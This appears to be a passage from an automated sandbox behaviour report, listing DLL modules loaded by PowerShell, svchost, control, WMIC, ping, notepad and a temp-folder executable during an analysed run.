Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\control.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\notepad.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exeSection loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exeSection loaded: wldp.dll
Source: C:\Windows\System32\notepad.exeSection loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exeSection loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exeSection loaded: mpr.dll
Source: C:\Windows\System32\notepad.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exeSection loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exeSection loaded: oleacc.dll
